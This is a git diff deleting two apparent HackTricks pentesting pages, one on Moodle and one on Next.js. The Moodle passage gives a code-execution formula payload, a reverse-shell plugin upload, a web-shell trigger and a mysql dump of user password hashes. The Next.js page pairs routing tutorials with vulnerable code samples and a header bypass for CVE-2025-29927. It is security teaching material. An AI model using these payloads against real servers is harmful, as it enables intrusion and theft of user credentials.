-cd badmoodle && pip3 install -r requirements.txt
-./badmoodle.py -u https://moodle.example.com/<moodle_path>/ -l 3 -s -o badmoodle.json
-```
-
-`badmoodle` is useful when you want more than plain version detection: level 2/3 checks also use 404-page fingerprinting, hash comparison, and plugin/theme enumeration, and the project includes community vulnerability modules.
-
-### CMSMap
-
-```bash
-pip3 install git+https://github.com/dionach/CMSmap.git
-cmsmap http://moodle.example.com/<moodle_path>
-```
-
-### CVEs
-
-Automatic tools are mostly useful for **fingerprinting**. They are usually **not enough to prove exploitability** on modern Moodle deployments, so verify findings manually and cross-check the version in the [official security feed](https://moodle.org/security/) or in [Snyk's Moodle package tracker](https://snyk.io/vuln/composer:moodle%2Fmoodle).
-
-## Manual Enumeration
-
-A lot of Moodle recon still comes from files that should not be world-readable but often are:
-
-```bash
-curl -sk https://moodle.example.com/<moodle_path>/README.txt
-curl -sk https://moodle.example.com/<moodle_path>/lib/upgrade.txt | head
-curl -sk https://moodle.example.com/<moodle_path>/composer.lock | head
-curl -sk https://moodle.example.com/<moodle_path>/admin/tool/lp/tests/behat/course_competencies.feature | head
-curl -sk https://moodle.example.com/<moodle_path>/question/upgrade.txt | head
-```
-
-Interesting targets during recon:
-
-- `README.txt`, `lib/upgrade.txt`, `question/upgrade.txt`, `composer.lock`, `composer.json`, and `admin/environment.xml` frequently leak enough metadata to fingerprint the exact branch.
-- `tests/behat/*.feature` files can disclose features, plugins, and sometimes a very precise version fingerprint (this is exactly what `moodlescan` abuses).
-- Once you know the branch, enumerate only the plugins/themes really present under `/mod/`, `/blocks/`, `/theme/`, `/auth/`, and `/local/` instead of spraying generic Moodle CVEs.
-
-## RCE
-
-### Plugin upload (manager/admin)
-
-If you have a **manager**-level account and you **can install plugins**, go to the **"Site administration"** tab:
-
-![CVEs - RCE: You need to have manager role and you can install plugins inside the "Site administration" tab](<../../images/image (630).png>)
-
-On older branches, this was sometimes reachable from a teacher account by chaining the course-enrolment privilege escalation into manager permissions and then enabling plugin installation.
-
-If you can reach the plugin installer, upload a malicious plugin. For example, you can use the following ZIP that contains the classic pentestmonkey PHP reverse shell (decompress it first, change the IP/port, and compress it again):
-
-{{#file}}
-moodle-rce-plugin.zip
-{{#endfile}}
-
-You can also use [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) to get a regular PHP shell controlled with the `cmd` parameter.
-
-After installation, trigger the payload at:
-
-```bash
-http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
-```
-
-### Calculated questions to RCE (authenticated teacher/trainer)
-
-A much more interesting modern primitive was disclosed in 2024: on vulnerable branches fixed in **4.4.2 / 4.3.6 / 4.2.9 / 4.1.12**, a user who can **create or edit calculated questions** in a quiz can turn the answer formula into code execution.
-
-Practical exploitation flow:
-
-1. Open the quiz editor (`/mod/quiz/edit.php?cmid=<cmid>`) and collect `sesskey`, `courseContextId`, and the question `category`.
-2. Create a **calculated** question via `/question/bank/editquestion/question.php`.
-3. Set the malicious answer formula, for example:
-
-```php
-(1)->{system($_GET[chr(97)])}
-```
-
-4. Continue the wizard (`wizardnow=datasetdefinitions` --> `wizardnow=datasetitems`) until the question is saved.
-5. Re-open the question URL and append `&a=id` (or any command) to execute it.
-
-If Moodle tries to treat `{system($_GET[chr(97)])}` as a wildcard variable, edit the generated `select` element before submitting and force its selected value to `0` so the placeholder is **not** replaced during evaluation. Rapid7 also published a Metasploit module (`exploit/linux/http/moodle_rce`) that automates this flow.
-
-If you need to build payloads under tighter character restrictions, check [these PHP payload-construction tricks](php-tricks-esp/README.md), as the same research used `acos(2)`, XOR-generated strings, and PHP variable functions to survive Moodle's validation logic.
-
-## SSRF
-
-In 2025, Quarkslab showed that Moodle's URL fetching logic could be abused for **authenticated SSRF** because the host/IP allowlist check and the final `curl_exec()` request do **not** necessarily use the same DNS resolution result. This enables a classic **TOC/TOU DNS-rebinding** bypass of Moodle's IP blocklist.
-
-Interesting attacker-controlled entry points mentioned in the research:
-
-- **Calendar subscriptions** via `calendar/import.php`
-- **File picker URL downloader**, where Moodle first fetches an attacker HTML page and then downloads the embedded image URLs
-
-Practical takeaways:
-
-- The primitive is especially interesting for reaching `localhost` or internal web apps over **HTTP/HTTPS on ports 80/443**.
-- If the Moodle server runs in a cloud environment with **IMDSv1** enabled, SSRF may be enough to steal instance metadata and pivot further. For generic bypasses and cloud pivots, check [the SSRF page](../../pentesting-web/ssrf-server-side-request-forgery/README.md) and [these cloud SSRF tricks](../../pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md).
-- When testing the file picker path, serving an attacker-controlled HTML page with embedded `img` tags is enough to make Moodle perform the follow-up fetches on your behalf.
-
-## Post-Exploitation
-
-### Find database credentials
-
-```bash
-find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
-```
-
-### Dump credentials from the database
-
-```bash
-/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
-```
-
-
-
-## References
-
-- [RedTeam Pentesting - Exploiting a Remote Code Execution Vulnerability in Moodle](https://blog.redteam-pentesting.de/2024/moodle-rce/)
-- [Quarkslab - Auditing Moodle's core hunting for logical bugs](https://blog.quarkslab.com/auditing-moodles-core-hunting-for-logical-bugs.html)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/nextjs.md b/src/network-services-pentesting/pentesting-web/nextjs.md
deleted file mode 100644
index 12c4a6c50f5..00000000000
--- a/src/network-services-pentesting/pentesting-web/nextjs.md
+++ /dev/null
@@ -1,1485 +0,0 @@
-# NextJS
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## General Architecture of a Next.js Application
-
-### Typical File Structure
-
-A standard Next.js project follows a specific file and directory structure that facilitates its features like routing, API endpoints, and static asset management. Here's a typical layout:
-
-```lua
-my-nextjs-app/
-├── node_modules/
-├── public/
-│   ├── images/
-│   │   └── logo.png
-│   └── favicon.ico
-├── app/
-│   ├── api/
-│   │   └── hello/
-│   │       └── route.ts
-│   ├── layout.tsx
-│   ├── page.tsx
-│   ├── about/
-│   │   └── page.tsx
-│   ├── dashboard/
-│   │   ├── layout.tsx
-│   │   └── page.tsx
-│   ├── components/
-│   │   ├── Header.tsx
-│   │   └── Footer.tsx
-│   ├── styles/
-│   │   ├── globals.css
-│   │   └── Home.module.css
-│   └── utils/
-│       └── api.ts
-├── .env.local
-├── next.config.js
-├── tsconfig.json
-├── package.json
-├── README.md
-└── yarn.lock / package-lock.json
-
-```
-
-### Core Directories and Files
-
-- **public/:** Hosts static assets such as images, fonts, and other files. Files here are accessible at the root path (`/`).
-- **app/:** Central directory for your application’s pages, layouts, components, and API routes. Embraces the **App Router** paradigm, enabling advanced routing features and server-client component segregation.
-- **app/layout.tsx:** Defines the root layout for your application, wrapping around all pages and providing consistent UI elements like headers, footers, and navigation bars.
-- **app/page.tsx:** Serves as the entry point for the root route `/`, rendering the home page.
-- **app/[route]/page.tsx:** Handles static and dynamic routes. Each folder within `app/` represents a route segment, and `page.tsx` within those folders corresponds to the route's component.
-- **app/api/:** Contains API routes, allowing you to create serverless functions that handle HTTP requests. These routes replace the traditional `pages/api` directory.
-- **app/components/:** Houses reusable React components that can be utilized across different pages and layouts.
-- **app/styles/:** Contains global CSS files and CSS Modules for component-scoped styling.
-- **app/utils/:** Includes utility functions, helper modules, and other non-UI logic that can be shared across the application.
-- **.env.local:** Stores environment variables specific to the local development environment. These variables are **not** committed to version control.
-- **next.config.js:** Customizes Next.js behavior, including webpack configurations, environment variables, and security settings.
-- **tsconfig.json:** Configures TypeScript settings for the project, enabling type checking and other TypeScript features.
-- **package.json:** Manages project dependencies, scripts, and metadata.
-- **README.md:** Provides documentation and information about the project, including setup instructions, usage guidelines, and other relevant details.
-- **yarn.lock / package-lock.json:** Locks the project’s dependencies to specific versions, ensuring consistent installations across different environments.
-
-## Client-Side in Next.js
-
-### File-Based Routing in the `app` Directory
-
-The `app` directory is the cornerstone of routing in the latest Next.js versions. It leverages the filesystem to define routes, making route management intuitive and scalable.
-
-<details>
-
-<summary>Handling the Root Path /</summary>
-
-**File Structure:**
-
-```arduino
-my-nextjs-app/
-├── app/
-│   ├── layout.tsx
-│   └── page.tsx
-├── public/
-├── next.config.js
-└── ...
-```
-
-**Key Files:**
-
-- **`app/page.tsx`**: Handles requests to the root path `/`.
-- **`app/layout.tsx`**: Defines the layout for the application, wrapping around all pages.
-
-**Implementation:**
-
-```tsx
-tsxCopy code// app/page.tsx
-
-export default function HomePage() {
-  return (
-    <div>
-      <h1>Welcome to the Home Page!</h1>
-      <p>This is the root route.</p>
-    </div>
-  );
-}
-```
-
-**Explanation:**
-
-- **Route Definition:** The `page.tsx` file directly under the `app` directory corresponds to the `/` route.
-- **Rendering:** This component renders the content for the home page.
-- **Layout Integration:** The `HomePage` component is wrapped by the `layout.tsx`, which can include headers, footers, and other common elements.
-
-</details>
-
-<details>
-
-<summary>Handling Other Static Paths</summary>
-
-**Example: `/about` Route**
-
-**File Structure:**
-
-```arduino
-arduinoCopy codemy-nextjs-app/
-├── app/
-│   ├── about/
-│   │   └── page.tsx
-│   ├── layout.tsx
-│   └── page.tsx
-├── public/
-├── next.config.js
-└── ...
-```
-
-**Implementation:**
-
-```tsx
-// app/about/page.tsx
-
-export default function AboutPage() {
-  return (
-    <div>
-      <h1>About Us</h1>
-      <p>Learn more about our mission and values.</p>
-    </div>
-  )
-}
-```
-
-**Explanation:**
-
-- **Route Definition:** The `page.tsx` file inside the `about` folder corresponds to the `/about` route.
-- **Rendering:** This component renders the content for the about page.
-
-</details>
-
-<details>
-
-<summary>Dynamic Routes</summary>
-
-Dynamic routes allow handling paths with variable segments, enabling applications to display content based on parameters like IDs, slugs, etc.
-
-**Example: `/posts/[id]` Route**
-
-**File Structure:**
-
-```arduino
-arduinoCopy codemy-nextjs-app/
-├── app/
-│   ├── posts/
-│   │   └── [id]/
-│   │       └── page.tsx
-│   ├── layout.tsx
-│   └── page.tsx
-├── public/
-├── next.config.js
-└── ...
-```
-
-**Implementation:**
-
-```tsx
-tsxCopy code// app/posts/[id]/page.tsx
-
-import { useRouter } from 'next/navigation';
-
-interface PostProps {
-  params: { id: string };
-}
-
-export default function PostPage({ params }: PostProps) {
-  const { id } = params;
-  // Fetch post data based on 'id'
-
-  return (
-    <div>
-      <h1>Post #{id}</h1>
-      <p>This is the content of post {id}.</p>
-    </div>
-  );
-}
-```
-
-**Explanation:**
-
-- **Dynamic Segment:** `[id]` denotes a dynamic segment in the route, capturing the `id` parameter from the URL.
-- **Accessing Parameters:** The `params` object contains the dynamic parameters, accessible within the component.
-- **Route Matching:** Any path matching `/posts/*`, such as `/posts/1`, `/posts/abc`, etc., will be handled by this component.
-
-</details>
-
-<details>
-
-<summary>Nested Routes</summary>
-
-Next.js supports nested routing, allowing for hierarchical route structures that mirror the directory layout.
-
-**Example: `/dashboard/settings/profile` Route**
-
-**File Structure:**
-
-```arduino
-arduinoCopy codemy-nextjs-app/
-├── app/
-│   ├── dashboard/
-│   │   ├── settings/
-│   │   │   └── profile/
-│   │   │       └── page.tsx
-│   │   └── page.tsx
-│   ├── layout.tsx
-│   └── page.tsx
-├── public/
-├── next.config.js
-└── ...
-```
-
-**Implementation:**
-
-```tsx
-tsxCopy code// app/dashboard/settings/profile/page.tsx
-
-export default function ProfileSettingsPage() {
-  return (
-    <div>
-      <h1>Profile Settings</h1>
-      <p>Manage your profile information here.</p>
-    </div>
-  );
-}
-```
-
-**Explanation:**
-
-- **Deep Nesting:** The `page.tsx` file inside `dashboard/settings/profile/` corresponds to the `/dashboard/settings/profile` route.
-- **Hierarchy Reflection:** The directory structure reflects the URL path, enhancing maintainability and clarity.
-
-</details>
-
-<details>
-
-<summary>Catch-All Routes</summary>
-
-Catch-all routes handle multiple nested segments or unknown paths, providing flexibility in route handling.
-
-**Example: `/*` Route**
-
-**File Structure:**
-
-```arduino
-my-nextjs-app/
-├── app/
-│   ├── [...slug]/
-│   │   └── page.tsx
-│   ├── layout.tsx
-│   └── page.tsx
-├── public/
-├── next.config.js
-└── ...
-```
-
-**Implementation:**
-
-```tsx
-// app/[...slug]/page.tsx
-
-interface CatchAllProps {
-  params: { slug: string[] }
-}
-
-export default function CatchAllPage({ params }: CatchAllProps) {
-  const { slug } = params
-  const fullPath = `/${slug.join("/")}`
-
-  return (
-    <div>
-      <h1>Catch-All Route</h1>
-      <p>You have navigated to: {fullPath}</p>
-    </div>
-  )
-}
-```
-
-**Explanation:**
-
-- **Catch-All Segment:** `[...slug]` captures all remaining path segments as an array.
-- **Usage:** Useful for handling dynamic routing scenarios like user-generated paths, nested categories, etc.
-- **Route Matching:** Paths like `/anything/here`, `/foo/bar/baz`, etc., are handled by this component.
-
-</details>
-
-### Potential Client-Side Vulnerabilities
-
-While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. Key client-side vulnerabilities include:
-
-<details>
-
-<summary>Cross-Site Scripting (XSS)</summary>
-
-XSS attacks occur when malicious scripts are injected into trusted websites. Attackers can execute scripts in users' browsers, stealing data or performing actions on behalf of the user.
-
-**Example of Vulnerable Code:**
-
-```jsx
-// Dangerous: Injecting user input directly into HTML
-function Comment({ userInput }) {
-  return <div dangerouslySetInnerHTML={{ __html: userInput }} />
-}
-```
-
-**Why It's Vulnerable:** Using `dangerouslySetInnerHTML` with untrusted input allows attackers to inject malicious scripts.
-
-</details>
-
-<details>
-
-<summary>Client-Side Template Injection</summary>
-
-Occurs when user inputs are improperly handled in templates, allowing attackers to inject and execute templates or expressions.
-
-**Example of Vulnerable Code:**
-
-```jsx
-import React from "react"
-import ejs from "ejs"
-
-function RenderTemplate({ template, data }) {
-  const html = ejs.render(template, data)
-  return <div dangerouslySetInnerHTML={{ __html: html }} />
-}
-```
-
-**Why It's Vulnerable:** If `template` or `data` includes malicious content, it can lead to execution of unintended code.
-
-</details>
-
-<details>
-
-<summary>Client Path Traversal</summary>
-
-It's a vulnerability that allows attackers to manipulate client-side paths to perform unintended actions, such as Cross-Site Request Forgery (CSRF). Unlike server-side path traversal, which targets the server's filesystem, CSPT focuses on exploiting client-side mechanisms to reroute legitimate API requests to malicious endpoints.
-
-**Example of Vulnerable Code:**
-
-A Next.js application allows users to upload and download files. The download feature is implemented on the client side, where users can specify the file path to download.
-
-```jsx
-// pages/download.js
-import { useState } from "react"
-
-export default function DownloadPage() {
-  const [filePath, setFilePath] = useState("")
-
-  const handleDownload = () => {
-    fetch(`/api/files/${filePath}`)
-      .then((response) => response.blob())
-      .then((blob) => {
-        const url = window.URL.createObjectURL(blob)
-        const a = document.createElement("a")
-        a.href = url
-        a.download = filePath
-        a.click()
-      })
-  }
-
-  return (
-    <div>
-      <h1>Download File</h1>
-      <input
-        type="text"
-        value={filePath}
-        onChange={(e) => setFilePath(e.target.value)}
-        placeholder="Enter file path"
-      />
-      <button onClick={handleDownload}>Download</button>
-    </div>
-  )
-}
-```
-
-#### Attack Scenario
-
-1. **Attacker's Objective**: Perform a CSRF attack to delete a critical file (e.g., `admin/config.json`) by manipulating the `filePath`.
-2. **Exploiting CSPT**:
-   - **Malicious Input**: The attacker crafts a URL with a manipulated `filePath` such as `../deleteFile/config.json`.
-   - **Resulting API Call**: The client-side code makes a request to `/api/files/../deleteFile/config.json`.
-   - **Server's Handling**: If the server does not validate the `filePath`, it processes the request, potentially deleting or exposing sensitive files.
-3. **Executing CSRF**:
-   - **Crafted Link**: The attacker sends the victim a link or embeds a malicious script that triggers the download request with the manipulated `filePath`.
-   - **Outcome**: The victim unknowingly executes the action, leading to unauthorized file access or deletion.
-
-#### Why It's Vulnerable
-
-- **Lack of Input Validation**: The client-side allows arbitrary `filePath` inputs, enabling path traversal.
-- **Trusting Client Inputs**: The server-side API trusts and processes the `filePath` without sanitization.
-- **Potential API Actions**: If the API endpoint performs state-changing actions (e.g., delete, modify files), it can be exploited via CSPT.
-
-</details>
-
-### Recon: static export route discovery via _buildManifest
-
-When `nextExport`/`autoExport` are true (static export), Next.js exposes the `buildId` in the HTML and serves a build manifest at `/_next/static/<buildId>/_buildManifest.js`. The `sortedPages` array and route→chunk mapping there enumerate every prerendered page without brute force.
-
-- Grab the buildId from the root response (often printed at the bottom) or from `<script>` tags loading `/_next/static/<buildId>/...`.
-- Fetch the manifest and extract routes:
-
-```bash
-build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
-curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
-```
-
-- Use the discovered paths (for example `/docs`, `/docs/content/examples`, `/signin`) to drive auth testing and endpoint discovery.
-
-## Server-Side in Next.js
-
-### Server-Side Rendering (SSR)
-
-Pages are rendered on the server on each request, ensuring that the user receives fully rendered HTML. In this case you should create your own custom server to process the requests.
-
-**Use Cases:**
-
-- Dynamic content that changes frequently.
-- SEO optimization, as search engines can crawl the fully rendered page.
-
-**Implementation:**
-
-```jsx
-// pages/index.js
-export async function getServerSideProps(context) {
-  const res = await fetch("https://api.example.com/data")
-  const data = await res.json()
-  return { props: { data } }
-}
-
-function HomePage({ data }) {
-  return <div>{data.title}</div>
-}
-
-export default HomePage
-```
-
-### Static Site Generation (SSG)
-
-Pages are pre-rendered at build time, resulting in faster load times and reduced server load.
-
-**Use Cases:**
-
-- Content that doesn't change frequently.
-- Blogs, documentation, marketing pages.
-
-**Implementation:**
-
-```jsx
-// pages/index.js
-export async function getStaticProps() {
-  const res = await fetch("https://api.example.com/data")
-  const data = await res.json()
-  return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
-}
-
-function HomePage({ data }) {
-  return <div>{data.title}</div>
-}
-
-export default HomePage
-```
-
-### Serverless Functions (API Routes)
-
-Next.js allows the creation of API endpoints as serverless functions. These functions run on-demand without the need for a dedicated server.
-
-**Use Cases:**
-
-- Handling form submissions.
-- Interacting with databases.
-- Processing data or integrating with third-party APIs.
-
-**Implementation:**
-
-With the introduction of the `app` directory in Next.js 13, routing and API handling have become more flexible and powerful. This modern approach aligns closely with the file-based routing system but introduces enhanced capabilities, including support for server and client components.
-
-#### Basic Route Handler
-
-**File Structure:**
-
-```go
-my-nextjs-app/
-├── app/
-│   └── api/
-│       └── hello/
-│           └── route.js
-├── package.json
-└── ...
-```
-
-**Implementation:**
-
-```javascript
-// app/api/hello/route.js
-
-export async function POST(request) {
-  return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
-    status: 200,
-    headers: { "Content-Type": "application/json" },
-  })
-}
-
-// Client-side fetch to access the API endpoint
-fetch("/api/submit", {
-  method: "POST",
-  headers: { "Content-Type": "application/json" },
-  body: JSON.stringify({ name: "John Doe" }),
-})
-  .then((res) => res.json())
-  .then((data) => console.log(data))
-```
-
-**Explanation:**
-
-- **Location:** API routes are placed under the `app/api/` directory.
-- **File Naming:** Each API endpoint resides in its own folder containing a `route.js` or `route.ts` file.
-- **Exported Functions:** Instead of a single default export, specific HTTP method functions (e.g., `GET`, `POST`) are exported.
-- **Response Handling:** Use the `Response` constructor to return responses, allowing more control over headers and status codes.
-
-#### How to handle other paths and methods:
-
-<details>
-
-<summary>Handling Specific HTTP Methods</summary>
-
-Next.js 13+ allows you to define handlers for specific HTTP methods within the same `route.js` or `route.ts` file, promoting clearer and more organized code.
-
-**Example:**
-
-```javascript
-// app/api/users/[id]/route.js
-
-export async function GET(request, { params }) {
-  const { id } = params
-  // Fetch user data based on 'id'
-  return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
-    status: 200,
-    headers: { "Content-Type": "application/json" },
-  })
-}
-
-export async function PUT(request, { params }) {
-  const { id } = params
-  // Update user data based on 'id'
-  return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
-    status: 200,
-    headers: { "Content-Type": "application/json" },
-  })
-}
-
-export async function DELETE(request, { params }) {
-  const { id } = params
-  // Delete user based on 'id'
-  return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
-    status: 200,
-    headers: { "Content-Type": "application/json" },
-  })
-}
-```
-
-**Explanation:**
-
-- **Multiple Exports:** Each HTTP method (`GET`, `PUT`, `DELETE`) has its own exported function.
-- **Parameters:** The second argument provides access to route parameters via `params`.
-- **Enhanced Responses:** Greater control over response objects, enabling precise header and status code management.
-
-</details>
-
-<details>
-
-<summary>Catch-All and Nested Routes</summary>
-
-Next.js 13+ supports advanced routing features like catch-all routes and nested API routes, allowing for more dynamic and scalable API structures.
-
-**Catch-All Route Example:**
-
-```javascript
-// app/api/[...slug]/route.js
-
-export async function GET(request, { params }) {
-  const { slug } = params
-  // Handle dynamic nested routes
-  return new Response(JSON.stringify({ slug }), {
-    status: 200,
-    headers: { "Content-Type": "application/json" },
-  })
-}
-```
-
-**Explanation:**
-
-- **Syntax:** `[...]` denotes a catch-all segment, capturing all nested paths.
-- **Usage:** Useful for APIs that need to handle varying route depths or dynamic segments.
-
-**Nested Routes Example:**
-
-```javascript
-// app/api/posts/[postId]/comments/[commentId]/route.js
-
-export async function GET(request, { params }) {
-  const { postId, commentId } = params
-  // Fetch specific comment for a post
-  return new Response(
-    JSON.stringify({ postId, commentId, comment: "Great post!" }),
-    {
-      status: 200,
-      headers: { "Content-Type": "application/json" },
-    }
-  )
-}
-```
-
-**Explanation:**
-
-- **Deep Nesting:** Allows for hierarchical API structures, reflecting resource relationships.
-- **Parameter Access:** Easily access multiple route parameters via the `params` object.
-
-</details>
-
-<details>
-
-<summary>Handling API routes in Next.js 12 and Earlier</summary>
-
-## API Routes in the `pages` Directory (Next.js 12 and Earlier)
-
-Before Next.js 13 introduced the `app` directory and enhanced routing capabilities, API routes were primarily defined within the `pages` directory. This approach is still widely used and supported in Next.js 12 and earlier versions.
-
-#### Basic API Route
-
-**File Structure:**
-
-```go
-goCopy codemy-nextjs-app/
-├── pages/
-│   └── api/
-│       └── hello.js
-├── package.json
-└── ...
-```
-
-**Implementation:**
-
-```javascript
-javascriptCopy code// pages/api/hello.js
-
-export default function handler(req, res) {
-  res.status(200).json({ message: 'Hello, World!' });
-}
-```
-
-**Explanation:**
-
-- **Location:** API routes reside under the `pages/api/` directory.
-- **Export:** Use `export default` to define the handler function.
-- **Function Signature:** The handler receives `req` (HTTP request) and `res` (HTTP response) objects.
-- **Routing:** The file name (`hello.js`) maps to the endpoint `/api/hello`.
-
-#### Dynamic API Routes
-
-**File Structure:**
-
-```bash
-bashCopy codemy-nextjs-app/
-├── pages/
-│   └── api/
-│       └── users/
-│           └── [id].js
-├── package.json
-└── ...
-```
-
-**Implementation:**
-
-```javascript
-javascriptCopy code// pages/api/users/[id].js
-
-export default function handler(req, res) {
-  const {
-    query: { id },
-    method,
-  } = req;
-
-  switch (method) {
-    case 'GET':
-      // Fetch user data based on 'id'
-      res.status(200).json({ userId: id, name: 'John Doe' });
-      break;
-    case 'PUT':
-      // Update user data based on 'id'
-      res.status(200).json({ message: `User ${id} updated.` });
-      break;
-    case 'DELETE':
-      // Delete user based on 'id'
-      res.status(200).json({ message: `User ${id} deleted.` });
-      break;
-    default:
-      res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
-      res.status(405).end(`Method ${method} Not Allowed`);
-  }
-}
-```
-
-**Explanation:**
-
-- **Dynamic Segments:** Square brackets (`[id].js`) denote dynamic route segments.
-- **Accessing Parameters:** Use `req.query.id` to access the dynamic parameter.
-- **Handling Methods:** Utilize conditional logic to handle different HTTP methods (`GET`, `PUT`, `DELETE`, etc.).
-
-#### Handling Different HTTP Methods
-
-While the basic API route example handles all HTTP methods within a single function, you can structure your code to handle each method explicitly for better clarity and maintainability.
-
-**Example:**
-
-```javascript
-javascriptCopy code// pages/api/posts.js
-
-export default async function handler(req, res) {
-  const { method } = req;
-
-  switch (method) {
-    case 'GET':
-      // Handle GET request
-      res.status(200).json({ message: 'Fetching posts.' });
-      break;
-    case 'POST':
-      // Handle POST request
-      res.status(201).json({ message: 'Post created.' });
-      break;
-    default:
-      res.setHeader('Allow', ['GET', 'POST']);
-      res.status(405).end(`Method ${method} Not Allowed`);
-  }
-}
-```
-
-**Best Practices:**
-
-- **Separation of Concerns:** Clearly separate logic for different HTTP methods.
-- **Response Consistency:** Ensure consistent response structures for ease of client-side handling.
-- **Error Handling:** Gracefully handle unsupported methods and unexpected errors.
-
-</details>
-
-### CORS Configuration
-
-Control which origins can access your API routes, mitigating Cross-Origin Resource Sharing (CORS) vulnerabilities.
-
-**Bad Configuration Example:**
-
-```javascript
-// app/api/data/route.js
-
-export async function GET(request) {
-  return new Response(JSON.stringify({ data: "Public Data" }), {
-    status: 200,
-    headers: {
-      "Access-Control-Allow-Origin": "*", // Allows any origin
-      "Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
-    },
-  })
-}
-```
-
-Note that **CORS can also be configured in all the API routes** inside the **`middleware.ts`** file:
-
-```javascript
-// app/middleware.ts
-
-import { NextResponse } from "next/server"
-import type { NextRequest } from "next/server"
-
-export function middleware(request: NextRequest) {
-  const allowedOrigins = [
-    "https://yourdomain.com",
-    "https://sub.yourdomain.com",
-  ]
-  const origin = request.headers.get("Origin")
-
-  const response = NextResponse.next()
-
-  if (allowedOrigins.includes(origin || "")) {
-    response.headers.set("Access-Control-Allow-Origin", origin || "")
-    response.headers.set(
-      "Access-Control-Allow-Methods",
-      "GET, POST, PUT, DELETE, OPTIONS"
-    )
-    response.headers.set(
-      "Access-Control-Allow-Headers",
-      "Content-Type, Authorization"
-    )
-    // If credentials are needed:
-    // response.headers.set('Access-Control-Allow-Credentials', 'true');
-  }
-
-  // Handle preflight requests
-  if (request.method === "OPTIONS") {
-    return new Response(null, {
-      status: 204,
-      headers: response.headers,
-    })
-  }
-
-  return response
-}
-
-export const config = {
-  matcher: "/api/:path*", // Apply to all API routes
-}
-```
-
-**Problem:**
-
-- **`Access-Control-Allow-Origin: '*'`:** Permits any website to access the API, potentially allowing malicious sites to interact with your API without restrictions.
-- **Wide Method Allowance:** Allowing all methods can enable attackers to perform unwanted actions.
-
-**How attackers exploit it:**
-
-Attackers can craft malicious websites that make requests to your API, potentially abusing functionalities like data retrieval, data manipulation, or triggering unwanted actions on behalf of authenticated users.
-
-
-{{#ref}}
-../../pentesting-web/cors-bypass.md
-{{#endref}}
-
-### Server code exposure in Client Side
-
-It's can easy to **use code used by the server also in code exposed and used by the client side**, the best way to ensure that a file of code is never exposed in the client side is by using this import at the beginning of the file:
-
-```js
-import "server-only"
-```
-
-## Key Files and Their Roles
-
-### `middleware.ts` / `middleware.js`
-
-**Location:** Root of the project or within `src/`.
-
-**Purpose:** Executes code in the server-side serverless function before a request is processed, allowing for tasks like authentication, redirects, or modifying responses.
-
-**Execution Flow:**
-
-1. **Incoming Request:** The middleware intercepts the request.
-2. **Processing:** Performs operations based on the request (e.g., check authentication).
-3. **Response Modification:** Can alter the response or pass control to the next handler.
-
-**Example Use Cases:**
-
-- Redirecting unauthenticated users.
-- Adding custom headers.
-- Logging requests.
-
-**Sample Configuration:**
-
-```typescript
-// middleware.ts
-import { NextResponse } from "next/server"
-import type { NextRequest } from "next/server"
-
-export function middleware(req: NextRequest) {
-  const url = req.nextUrl.clone()
-  if (!req.cookies.has("token")) {
-    url.pathname = "/login"
-    return NextResponse.redirect(url)
-  }
-  return NextResponse.next()
-}
-
-export const config = {
-  matcher: ["/protected/:path*"],
-}
-```
-
-### Middleware authorization bypass (CVE-2025-29927)
-
-If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the `x-middleware-subrequest` header. The framework will skip middleware recursion and return the protected page.
-
-- Baseline behavior is typically a 307 redirect to a login route like `/api/auth/signin`.
-- Send a long `x-middleware-subrequest` value (repeat `middleware` to hit `MAX_RECURSION_DEPTH`) to flip the response to 200:
-
-```bash
-curl -i "http://target/docs" \
-  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
-```
-
-- Because authenticated pages pull many subresources, add the header to every request (e.g., Burp Match/Replace with an empty match string) to keep assets from redirecting.
-
-### `next.config.js`
-
-**Location:** Root of the project.
-
-**Purpose:** Configures Next.js behavior, enabling or disabling features, customizing webpack configurations, setting environment variables, and configuring several security features.
-
-**Key Security Configurations:**
-
-<details>
-
-<summary>Security Headers</summary>
-
-Security headers enhance the security of your application by instructing browsers on how to handle content. They help mitigate various attacks like Cross-Site Scripting (XSS), Clickjacking, and MIME type sniffing:
-
-- Content Security Policy (CSP)
-- X-Frame-Options
-- X-Content-Type-Options
-- Strict-Transport-Security (HSTS)
-- Referrer Policy
-
-**Examples:**
-
-```javascript
-// next.config.js
-
-module.exports = {
-  async headers() {
-    return [
-      {
-        source: "/(.*)", // Apply to all routes
-        headers: [
-          {
-            key: "X-Frame-Options",
-            value: "DENY",
-          },
-          {
-            key: "Content-Security-Policy",
-            value:
-              "default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
-          },
-          {
-            key: "X-Content-Type-Options",
-            value: "nosniff",
-          },
-          {
-            key: "Strict-Transport-Security",
-            value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
-          },
-          {
-            key: "Referrer-Policy",
-            value: "no-referrer", // Completely hides referrer
-          },
-          // Additional headers...
-        ],
-      },
-    ]
-  },
-}
-```
-
-</details>
-
-<details>
-
-<summary>Image Optimization Settings</summary>
-
-Next.js optimizes images for performance, but misconfigurations can lead to security vulnerabilities, such as allowing untrusted sources to inject malicious content.
-
-**Bad Configuration Example:**
-
-```javascript
-// next.config.js
-
-module.exports = {
-  images: {
-    domains: ["*"], // Allows images from any domain
-  },
-}
-```
-
-**Problem:**
-
-- **`'*'`:** Permits images to be loaded from any external source, including untrusted or malicious domains. Attackers can host images containing malicious payloads or content that misleads users.
